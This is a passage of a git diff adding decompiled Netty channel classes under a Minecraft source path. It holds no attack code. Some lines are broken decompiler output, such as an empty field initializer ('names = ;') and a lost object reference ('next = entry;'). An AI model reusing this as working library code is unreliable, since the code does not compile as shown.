+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise future)
+    throws Exception
+  {
+    ctx.bind(localAddress, future);
+  }
+  
+
+
+
+
+
+
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise future)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, future);
+  }
+  
+
+
+
+
+
+
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise future)
+    throws Exception
+  {
+    ctx.disconnect(future);
+  }
+  
+
+
+
+
+
+  public void close(ChannelHandlerContext ctx, ChannelPromise future)
+    throws Exception
+  {
+    ctx.close(future);
+  }
+  
+
+
+
+
+
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise future)
+    throws Exception
+  {
+    ctx.deregister(future);
+  }
+  
+
+
+
+
+
+  public void read(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.read();
+  }
+  
+
+
+
+
+
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.write(msg, promise);
+  }
+  
+
+
+
+
+
+  public void flush(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.flush();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelException.java b/src/minecraft/io/netty/channel/ChannelException.java
new file mode 100644
index 0000000..556699d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelException.java
@@ -0,0 +1,51 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+public class ChannelException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 2908618315971075004L;
+  
+
+
+
+
+
+
+
+
+  public ChannelException() {}
+  
+
+
+
+
+
+
+
+  public ChannelException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public ChannelException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public ChannelException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelFactory.java b/src/minecraft/io/netty/channel/ChannelFactory.java
new file mode 100644
index 0000000..8bc9e1d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelFactory.java
@@ -0,0 +1,7 @@
+package io.netty.channel;
+
+public abstract interface ChannelFactory<T extends Channel>
+  extends io.netty.bootstrap.ChannelFactory<T>
+{
+  public abstract T newChannel();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelFlushPromiseNotifier.java b/src/minecraft/io/netty/channel/ChannelFlushPromiseNotifier.java
new file mode 100644
index 0000000..f154223
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelFlushPromiseNotifier.java
@@ -0,0 +1,284 @@
+package io.netty.channel;
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelFlushPromiseNotifier
+{
+  private long writeCounter;
+  private final Queue<FlushCheckpoint> flushCheckpoints = new ArrayDeque();
+  
+
+
+
+  private final boolean tryNotify;
+  
+
+
+
+  public ChannelFlushPromiseNotifier(boolean tryNotify)
+  {
+    this.tryNotify = tryNotify;
+  }
+  
+
+
+
+  public ChannelFlushPromiseNotifier()
+  {
+    this(false);
+  }
+  
+
+
+  @Deprecated
+  public ChannelFlushPromiseNotifier add(ChannelPromise promise, int pendingDataSize)
+  {
+    return add(promise, pendingDataSize);
+  }
+  
+
+
+
+  public ChannelFlushPromiseNotifier add(ChannelPromise promise, long pendingDataSize)
+  {
+    if (promise == null) {
+      throw new NullPointerException("promise");
+    }
+    if (pendingDataSize < 0L) {
+      throw new IllegalArgumentException("pendingDataSize must be >= 0 but was " + pendingDataSize);
+    }
+    long checkpoint = writeCounter + pendingDataSize;
+    if ((promise instanceof FlushCheckpoint)) {
+      FlushCheckpoint cp = (FlushCheckpoint)promise;
+      cp.flushCheckpoint(checkpoint);
+      flushCheckpoints.add(cp);
+    } else {
+      flushCheckpoints.add(new DefaultFlushCheckpoint(checkpoint, promise));
+    }
+    return this;
+  }
+  
+
+  public ChannelFlushPromiseNotifier increaseWriteCounter(long delta)
+  {
+    if (delta < 0L) {
+      throw new IllegalArgumentException("delta must be >= 0 but was " + delta);
+    }
+    writeCounter += delta;
+    return this;
+  }
+  
+
+
+  public long writeCounter()
+  {
+    return writeCounter;
+  }
+  
+
+
+
+
+
+
+  public ChannelFlushPromiseNotifier notifyPromises()
+  {
+    notifyPromises0(null);
+    return this;
+  }
+  
+
+
+  @Deprecated
+  public ChannelFlushPromiseNotifier notifyFlushFutures()
+  {
+    return notifyPromises();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ChannelFlushPromiseNotifier notifyPromises(Throwable cause)
+  {
+    notifyPromises();
+    for (;;) {
+      FlushCheckpoint cp = (FlushCheckpoint)flushCheckpoints.poll();
+      if (cp == null) {
+        break;
+      }
+      if (tryNotify) {
+        cp.promise().tryFailure(cause);
+      } else {
+        cp.promise().setFailure(cause);
+      }
+    }
+    return this;
+  }
+  
+
+
+  @Deprecated
+  public ChannelFlushPromiseNotifier notifyFlushFutures(Throwable cause)
+  {
+    return notifyPromises(cause);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChannelFlushPromiseNotifier notifyPromises(Throwable cause1, Throwable cause2)
+  {
+    notifyPromises0(cause1);
+    for (;;) {
+      FlushCheckpoint cp = (FlushCheckpoint)flushCheckpoints.poll();
+      if (cp == null) {
+        break;
+      }
+      if (tryNotify) {
+        cp.promise().tryFailure(cause2);
+      } else {
+        cp.promise().setFailure(cause2);
+      }
+    }
+    return this;
+  }
+  
+
+
+  @Deprecated
+  public ChannelFlushPromiseNotifier notifyFlushFutures(Throwable cause1, Throwable cause2)
+  {
+    return notifyPromises(cause1, cause2);
+  }
+  
+  private void notifyPromises0(Throwable cause) {
+    if (flushCheckpoints.isEmpty()) {
+      this.writeCounter = 0L;
+      return;
+    }
+    
+    long writeCounter = this.writeCounter;
+    for (;;) {
+      FlushCheckpoint cp = (FlushCheckpoint)flushCheckpoints.peek();
+      if (cp == null)
+      {
+        this.writeCounter = 0L;
+        break;
+      }
+      
+      if (cp.flushCheckpoint() > writeCounter) {
+        if ((writeCounter <= 0L) || (flushCheckpoints.size() != 1)) break;
+        this.writeCounter = 0L;
+        cp.flushCheckpoint(cp.flushCheckpoint() - writeCounter); break;
+      }
+      
+
+
+      flushCheckpoints.remove();
+      ChannelPromise promise = cp.promise();
+      if (cause == null) {
+        if (tryNotify) {
+          promise.trySuccess();
+        } else {
+          promise.setSuccess();
+        }
+      }
+      else if (tryNotify) {
+        promise.tryFailure(cause);
+      } else {
+        promise.setFailure(cause);
+      }
+    }
+    
+
+
+    long newWriteCounter = this.writeCounter;
+    if (newWriteCounter >= 549755813888L)
+    {
+
+      this.writeCounter = 0L;
+      for (FlushCheckpoint cp : flushCheckpoints) {
+        cp.flushCheckpoint(cp.flushCheckpoint() - newWriteCounter);
+      }
+    }
+  }
+  
+
+  private static class DefaultFlushCheckpoint
+    implements ChannelFlushPromiseNotifier.FlushCheckpoint
+  {
+    private long checkpoint;
+    
+    private final ChannelPromise future;
+    
+
+    DefaultFlushCheckpoint(long checkpoint, ChannelPromise future)
+    {
+      this.checkpoint = checkpoint;
+      this.future = future;
+    }
+    
+    public long flushCheckpoint()
+    {
+      return checkpoint;
+    }
+    
+    public void flushCheckpoint(long checkpoint)
+    {
+      this.checkpoint = checkpoint;
+    }
+    
+    public ChannelPromise promise()
+    {
+      return future;
+    }
+  }
+  
+  static abstract interface FlushCheckpoint
+  {
+    public abstract long flushCheckpoint();
+    
+    public abstract void flushCheckpoint(long paramLong);
+    
+    public abstract ChannelPromise promise();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelFuture.java b/src/minecraft/io/netty/channel/ChannelFuture.java
new file mode 100644
index 0000000..e0dfb12
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelFuture.java
@@ -0,0 +1,28 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+
+public abstract interface ChannelFuture
+  extends Future<Void>
+{
+  public abstract Channel channel();
+  
+  public abstract ChannelFuture addListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelFuture removeListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelFuture sync()
+    throws InterruptedException;
+  
+  public abstract ChannelFuture syncUninterruptibly();
+  
+  public abstract ChannelFuture await()
+    throws InterruptedException;
+  
+  public abstract ChannelFuture awaitUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelFutureListener.java b/src/minecraft/io/netty/channel/ChannelFutureListener.java
new file mode 100644
index 0000000..83aa9cb
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelFutureListener.java
@@ -0,0 +1,73 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.GenericFutureListener;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ChannelFutureListener
+  extends GenericFutureListener<ChannelFuture>
+{
+  public static final ChannelFutureListener CLOSE = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) {
+      future.channel().close();
+    }
+  };
+  
+
+
+
+
+  public static final ChannelFutureListener CLOSE_ON_FAILURE = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) {
+      if (!future.isSuccess()) {
+        future.channel().close();
+      }
+    }
+  };
+  
+
+
+
+
+  public static final ChannelFutureListener FIRE_EXCEPTION_ON_FAILURE = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) {
+      if (!future.isSuccess()) {
+        future.channel().pipeline().fireExceptionCaught(future.cause());
+      }
+    }
+  };
+}
diff --git a/src/minecraft/io/netty/channel/ChannelHandler.java b/src/minecraft/io/netty/channel/ChannelHandler.java
new file mode 100644
index 0000000..30b0a8d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelHandler.java
@@ -0,0 +1,26 @@
+package io.netty.channel;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+public abstract interface ChannelHandler
+{
+  public abstract void handlerAdded(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void handlerRemoved(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void exceptionCaught(ChannelHandlerContext paramChannelHandlerContext, Throwable paramThrowable)
+    throws Exception;
+  
+  @Inherited
+  @Documented
+  @Target({java.lang.annotation.ElementType.TYPE})
+  @Retention(RetentionPolicy.RUNTIME)
+  public static @interface Sharable {}
+}
diff --git a/src/minecraft/io/netty/channel/ChannelHandlerAdapter.java b/src/minecraft/io/netty/channel/ChannelHandlerAdapter.java
new file mode 100644
index 0000000..ffbbff4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelHandlerAdapter.java
@@ -0,0 +1,81 @@
+package io.netty.channel;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ChannelHandlerAdapter
+  implements ChannelHandler
+{
+  boolean added;
+  
+  public ChannelHandlerAdapter() {}
+  
+  public boolean isSharable()
+  {
+    Class<?> clazz = getClass();
+    Map<Class<?>, Boolean> cache = InternalThreadLocalMap.get().handlerSharableCache();
+    Boolean sharable = (Boolean)cache.get(clazz);
+    if (sharable == null) {
+      sharable = Boolean.valueOf(clazz.isAnnotationPresent(ChannelHandler.Sharable.class));
+      cache.put(clazz, sharable);
+    }
+    return sharable.booleanValue();
+  }
+  
+
+
+
+
+
+  public void handlerAdded(ChannelHandlerContext ctx)
+    throws Exception
+  {}
+  
+
+
+
+
+  public void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {}
+  
+
+
+
+
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    ctx.fireExceptionCaught(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelHandlerContext.java b/src/minecraft/io/netty/channel/ChannelHandlerContext.java
new file mode 100644
index 0000000..510c3c3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelHandlerContext.java
@@ -0,0 +1,88 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.AttributeMap;
+import io.netty.util.concurrent.EventExecutor;
+import java.net.SocketAddress;
+
+public abstract interface ChannelHandlerContext
+  extends AttributeMap
+{
+  public abstract Channel channel();
+  
+  public abstract EventExecutor executor();
+  
+  public abstract String name();
+  
+  public abstract ChannelHandler handler();
+  
+  public abstract boolean isRemoved();
+  
+  public abstract ChannelHandlerContext fireChannelRegistered();
+  
+  public abstract ChannelHandlerContext fireChannelUnregistered();
+  
+  public abstract ChannelHandlerContext fireChannelActive();
+  
+  public abstract ChannelHandlerContext fireChannelInactive();
+  
+  public abstract ChannelHandlerContext fireExceptionCaught(Throwable paramThrowable);
+  
+  public abstract ChannelHandlerContext fireUserEventTriggered(Object paramObject);
+  
+  public abstract ChannelHandlerContext fireChannelRead(Object paramObject);
+  
+  public abstract ChannelHandlerContext fireChannelReadComplete();
+  
+  public abstract ChannelHandlerContext fireChannelWritabilityChanged();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2);
+  
+  public abstract ChannelFuture disconnect();
+  
+  public abstract ChannelFuture close();
+  
+  public abstract ChannelFuture deregister();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture disconnect(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture close(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture deregister(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelHandlerContext read();
+  
+  public abstract ChannelFuture write(Object paramObject);
+  
+  public abstract ChannelFuture write(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelHandlerContext flush();
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject);
+  
+  public abstract ChannelPipeline pipeline();
+  
+  public abstract ByteBufAllocator alloc();
+  
+  public abstract ChannelPromise newPromise();
+  
+  public abstract ChannelProgressivePromise newProgressivePromise();
+  
+  public abstract ChannelFuture newSucceededFuture();
+  
+  public abstract ChannelFuture newFailedFuture(Throwable paramThrowable);
+  
+  public abstract ChannelPromise voidPromise();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelId.java b/src/minecraft/io/netty/channel/ChannelId.java
new file mode 100644
index 0000000..38e5ac4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelId.java
@@ -0,0 +1,11 @@
+package io.netty.channel;
+
+import java.io.Serializable;
+
+public abstract interface ChannelId
+  extends Serializable, Comparable<ChannelId>
+{
+  public abstract String asShortText();
+  
+  public abstract String asLongText();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelInboundHandler.java b/src/minecraft/io/netty/channel/ChannelInboundHandler.java
new file mode 100644
index 0000000..f4452e3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelInboundHandler.java
@@ -0,0 +1,32 @@
+package io.netty.channel;
+
+public abstract interface ChannelInboundHandler
+  extends ChannelHandler
+{
+  public abstract void channelRegistered(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void channelUnregistered(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void channelActive(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void channelInactive(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void channelRead(ChannelHandlerContext paramChannelHandlerContext, Object paramObject)
+    throws Exception;
+  
+  public abstract void channelReadComplete(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void userEventTriggered(ChannelHandlerContext paramChannelHandlerContext, Object paramObject)
+    throws Exception;
+  
+  public abstract void channelWritabilityChanged(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void exceptionCaught(ChannelHandlerContext paramChannelHandlerContext, Throwable paramThrowable)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/ChannelInboundHandlerAdapter.java b/src/minecraft/io/netty/channel/ChannelInboundHandlerAdapter.java
new file mode 100644
index 0000000..a5370dc
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelInboundHandlerAdapter.java
@@ -0,0 +1,133 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelInboundHandlerAdapter
+  extends ChannelHandlerAdapter
+  implements ChannelInboundHandler
+{
+  public ChannelInboundHandlerAdapter() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelRegistered();
+  }
+  
+
+
+
+
+
+  public void channelUnregistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelUnregistered();
+  }
+  
+
+
+
+
+
+  public void channelActive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelActive();
+  }
+  
+
+
+
+
+
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelInactive();
+  }
+  
+
+
+
+
+
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    ctx.fireChannelRead(msg);
+  }
+  
+
+
+
+
+
+  public void channelReadComplete(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelReadComplete();
+  }
+  
+
+
+
+
+
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt)
+    throws Exception
+  {
+    ctx.fireUserEventTriggered(evt);
+  }
+  
+
+
+
+
+
+  public void channelWritabilityChanged(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.fireChannelWritabilityChanged();
+  }
+  
+
+
+
+
+
+
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    ctx.fireExceptionCaught(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelInboundInvoker.java b/src/minecraft/io/netty/channel/ChannelInboundInvoker.java
new file mode 100644
index 0000000..ddfe692
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelInboundInvoker.java
@@ -0,0 +1,22 @@
+package io.netty.channel;
+
+public abstract interface ChannelInboundInvoker
+{
+  public abstract ChannelInboundInvoker fireChannelRegistered();
+  
+  public abstract ChannelInboundInvoker fireChannelUnregistered();
+  
+  public abstract ChannelInboundInvoker fireChannelActive();
+  
+  public abstract ChannelInboundInvoker fireChannelInactive();
+  
+  public abstract ChannelInboundInvoker fireExceptionCaught(Throwable paramThrowable);
+  
+  public abstract ChannelInboundInvoker fireUserEventTriggered(Object paramObject);
+  
+  public abstract ChannelInboundInvoker fireChannelRead(Object paramObject);
+  
+  public abstract ChannelInboundInvoker fireChannelReadComplete();
+  
+  public abstract ChannelInboundInvoker fireChannelWritabilityChanged();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelInitializer.java b/src/minecraft/io/netty/channel/ChannelInitializer.java
new file mode 100644
index 0000000..5d76e8f
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelInitializer.java
@@ -0,0 +1,84 @@
+package io.netty.channel;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public abstract class ChannelInitializer<C extends Channel>
+  extends ChannelInboundHandlerAdapter
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ChannelInitializer.class);
+  
+
+
+  public ChannelInitializer() {}
+  
+
+  protected abstract void initChannel(C paramC)
+    throws Exception;
+  
+
+  public final void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ChannelPipeline pipeline = ctx.pipeline();
+    boolean success = false;
+    try {
+      initChannel(ctx.channel());
+      pipeline.remove(this);
+      ctx.fireChannelRegistered();
+      success = true;
+    } catch (Throwable t) {
+      logger.warn("Failed to initialize a channel. Closing: " + ctx.channel(), t);
+    } finally {
+      if (pipeline.context(this) != null) {
+        pipeline.remove(this);
+      }
+      if (!success) {
+        ctx.close();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelMetadata.java b/src/minecraft/io/netty/channel/ChannelMetadata.java
new file mode 100644
index 0000000..7fd2aa5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelMetadata.java
@@ -0,0 +1,46 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelMetadata
+{
+  private final boolean hasDisconnect;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChannelMetadata(boolean hasDisconnect)
+  {
+    this.hasDisconnect = hasDisconnect;
+  }
+  
+
+
+
+
+  public boolean hasDisconnect()
+  {
+    return hasDisconnect;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelOption.java b/src/minecraft/io/netty/channel/ChannelOption.java
new file mode 100644
index 0000000..2d45eaf
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelOption.java
@@ -0,0 +1,111 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.UniqueName;
+import io.netty.util.internal.PlatformDependent;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelOption<T>
+  extends UniqueName
+{
+  private static final ConcurrentMap<String, Boolean> names = ;
+  
+  public static final ChannelOption<ByteBufAllocator> ALLOCATOR = valueOf("ALLOCATOR");
+  public static final ChannelOption<RecvByteBufAllocator> RCVBUF_ALLOCATOR = valueOf("RCVBUF_ALLOCATOR");
+  public static final ChannelOption<MessageSizeEstimator> MESSAGE_SIZE_ESTIMATOR = valueOf("MESSAGE_SIZE_ESTIMATOR");
+  
+  public static final ChannelOption<Integer> CONNECT_TIMEOUT_MILLIS = valueOf("CONNECT_TIMEOUT_MILLIS");
+  public static final ChannelOption<Integer> MAX_MESSAGES_PER_READ = valueOf("MAX_MESSAGES_PER_READ");
+  public static final ChannelOption<Integer> WRITE_SPIN_COUNT = valueOf("WRITE_SPIN_COUNT");
+  public static final ChannelOption<Integer> WRITE_BUFFER_HIGH_WATER_MARK = valueOf("WRITE_BUFFER_HIGH_WATER_MARK");
+  public static final ChannelOption<Integer> WRITE_BUFFER_LOW_WATER_MARK = valueOf("WRITE_BUFFER_LOW_WATER_MARK");
+  
+  public static final ChannelOption<Boolean> ALLOW_HALF_CLOSURE = valueOf("ALLOW_HALF_CLOSURE");
+  public static final ChannelOption<Boolean> AUTO_READ = valueOf("AUTO_READ");
+  
+
+
+
+
+
+
+  @Deprecated
+  public static final ChannelOption<Boolean> AUTO_CLOSE = valueOf("AUTO_CLOSE");
+  
+  public static final ChannelOption<Boolean> SO_BROADCAST = valueOf("SO_BROADCAST");
+  public static final ChannelOption<Boolean> SO_KEEPALIVE = valueOf("SO_KEEPALIVE");
+  public static final ChannelOption<Integer> SO_SNDBUF = valueOf("SO_SNDBUF");
+  public static final ChannelOption<Integer> SO_RCVBUF = valueOf("SO_RCVBUF");
+  public static final ChannelOption<Boolean> SO_REUSEADDR = valueOf("SO_REUSEADDR");
+  public static final ChannelOption<Integer> SO_LINGER = valueOf("SO_LINGER");
+  public static final ChannelOption<Integer> SO_BACKLOG = valueOf("SO_BACKLOG");
+  public static final ChannelOption<Integer> SO_TIMEOUT = valueOf("SO_TIMEOUT");
+  
+  public static final ChannelOption<Integer> IP_TOS = valueOf("IP_TOS");
+  public static final ChannelOption<InetAddress> IP_MULTICAST_ADDR = valueOf("IP_MULTICAST_ADDR");
+  public static final ChannelOption<NetworkInterface> IP_MULTICAST_IF = valueOf("IP_MULTICAST_IF");
+  public static final ChannelOption<Integer> IP_MULTICAST_TTL = valueOf("IP_MULTICAST_TTL");
+  public static final ChannelOption<Boolean> IP_MULTICAST_LOOP_DISABLED = valueOf("IP_MULTICAST_LOOP_DISABLED");
+  
+  public static final ChannelOption<Boolean> TCP_NODELAY = valueOf("TCP_NODELAY");
+  
+  @Deprecated
+  public static final ChannelOption<Long> AIO_READ_TIMEOUT = valueOf("AIO_READ_TIMEOUT");
+  @Deprecated
+  public static final ChannelOption<Long> AIO_WRITE_TIMEOUT = valueOf("AIO_WRITE_TIMEOUT");
+  
+  @Deprecated
+  public static final ChannelOption<Boolean> DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION = valueOf("DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION");
+  
+
+
+
+  public static <T> ChannelOption<T> valueOf(String name)
+  {
+    return new ChannelOption(name);
+  }
+  
+
+
+  @Deprecated
+  protected ChannelOption(String name)
+  {
+    super(names, name, new Object[0]);
+  }
+  
+
+
+
+  public void validate(T value)
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelOutboundBuffer.java b/src/minecraft/io/netty/channel/ChannelOutboundBuffer.java
new file mode 100644
index 0000000..80794e9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelOutboundBuffer.java
@@ -0,0 +1,696 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.buffer.Unpooled;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import java.util.concurrent.atomic.AtomicLongFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelOutboundBuffer
+{
+  private static final InternalLogger logger;
+  private static final FastThreadLocal<ByteBuffer[]> NIO_BUFFERS;
+  private final Channel channel;
+  private Entry flushedEntry;
+  private Entry unflushedEntry;
+  private Entry tailEntry;
+  private int flushed;
+  private int nioBufferCount;
+  private long nioBufferSize;
+  private boolean inFail;
+  private static final AtomicLongFieldUpdater<ChannelOutboundBuffer> TOTAL_PENDING_SIZE_UPDATER;
+  private volatile long totalPendingSize;
+  private static final AtomicIntegerFieldUpdater<ChannelOutboundBuffer> WRITABLE_UPDATER;
+  private volatile int writable = 1;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(ChannelOutboundBuffer.class);
+    
+    NIO_BUFFERS = new FastThreadLocal()
+    {
+      protected ByteBuffer[] initialValue() throws Exception {
+        return new ByteBuffer['Ѐ'];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    };
+    AtomicIntegerFieldUpdater<ChannelOutboundBuffer> writableUpdater = PlatformDependent.newAtomicIntegerFieldUpdater(ChannelOutboundBuffer.class, "writable");
+    
+    if (writableUpdater == null) {
+      writableUpdater = AtomicIntegerFieldUpdater.newUpdater(ChannelOutboundBuffer.class, "writable");
+    }
+    WRITABLE_UPDATER = writableUpdater;
+    
+    AtomicLongFieldUpdater<ChannelOutboundBuffer> pendingSizeUpdater = PlatformDependent.newAtomicLongFieldUpdater(ChannelOutboundBuffer.class, "totalPendingSize");
+    
+    if (pendingSizeUpdater == null) {
+      pendingSizeUpdater = AtomicLongFieldUpdater.newUpdater(ChannelOutboundBuffer.class, "totalPendingSize");
+    }
+    TOTAL_PENDING_SIZE_UPDATER = pendingSizeUpdater;
+  }
+  
+  ChannelOutboundBuffer(AbstractChannel channel) {
+    this.channel = channel;
+  }
+  
+
+
+
+  public void addMessage(Object msg, int size, ChannelPromise promise)
+  {
+    Entry entry = Entry.newInstance(msg, size, total(msg), promise);
+    if (tailEntry == null) {
+      flushedEntry = null;
+      tailEntry = entry;
+    } else {
+      Entry tail = tailEntry;
+      next = entry;
+      tailEntry = entry;
+    }
+    if (unflushedEntry == null) {
+      unflushedEntry = entry;
+    }
+    
+
+
+    incrementPendingOutboundBytes(size);
+  }
+  
+
+
+
+
+
+
+
+  public void addFlush()
+  {
+    Entry entry = unflushedEntry;
+    if (entry != null) {
